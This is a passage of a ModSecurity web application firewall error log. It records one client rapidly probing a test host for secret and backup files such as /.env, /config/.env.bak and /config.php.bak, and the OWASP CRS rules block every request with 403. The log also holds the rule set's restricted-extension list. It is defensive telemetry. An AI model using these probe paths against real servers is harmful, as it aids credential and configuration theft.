&quot;/composer.lock&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZAAAAAg&quot;]
[Sun Mar 22 01:06:18.504243 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZAAAAAg&quot;]
[Sun Mar 22 01:06:18.504380 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZAAAAAg&quot;]
[Sun Mar 22 01:06:18.571230 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZwAAAAg&quot;]
[Sun Mar 22 01:06:18.571443 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZwAAAAg&quot;]
[Sun Mar 22 01:06:18.571591 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFZwAAAAg&quot;]
[Sun Mar 22 01:06:18.593347 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFaAAAAAg&quot;]
[Sun Mar 22 01:06:18.593748 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFaAAAAAg&quot;]
[Sun Mar 22 01:06:18.593887 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFaAAAAAg&quot;]
[Sun Mar 22 01:06:18.705794 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbQAAAAg&quot;]
[Sun Mar 22 01:06:18.706215 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbQAAAAg&quot;]
[Sun Mar 22 01:06:18.706369 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbQAAAAg&quot;]
[Sun Mar 22 01:06:18.750576 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbwAAAAg&quot;]
[Sun Mar 22 01:06:18.750957 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbwAAAAg&quot;]
[Sun Mar 22 01:06:18.751089 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFbwAAAAg&quot;]
[Sun Mar 22 01:06:18.773122 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcAAAAAg&quot;]
[Sun Mar 22 01:06:18.773324 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcAAAAAg&quot;]
[Sun Mar 22 01:06:18.773469 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcAAAAAg&quot;]
[Sun Mar 22 01:06:18.795193 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcQAAAAg&quot;]
[Sun Mar 22 01:06:18.795444 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcQAAAAg&quot;]
[Sun Mar 22 01:06:18.795629 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcQAAAAg&quot;]
[Sun Mar 22 01:06:18.795767 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcQAAAAg&quot;]
[Sun Mar 22 01:06:18.817799 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcgAAAAg&quot;]
[Sun Mar 22 01:06:18.818000 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcgAAAAg&quot;]
[Sun Mar 22 01:06:18.818145 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcgAAAAg&quot;]
[Sun Mar 22 01:06:18.840019 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcwAAAAg&quot;]
[Sun Mar 22 01:06:18.840248 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcwAAAAg&quot;]
[Sun Mar 22 01:06:18.840459 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcwAAAAg&quot;]
[Sun Mar 22 01:06:18.840598 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFcwAAAAg&quot;]
[Sun Mar 22 01:06:18.862594 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdAAAAAg&quot;]
[Sun Mar 22 01:06:18.862814 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdAAAAAg&quot;]
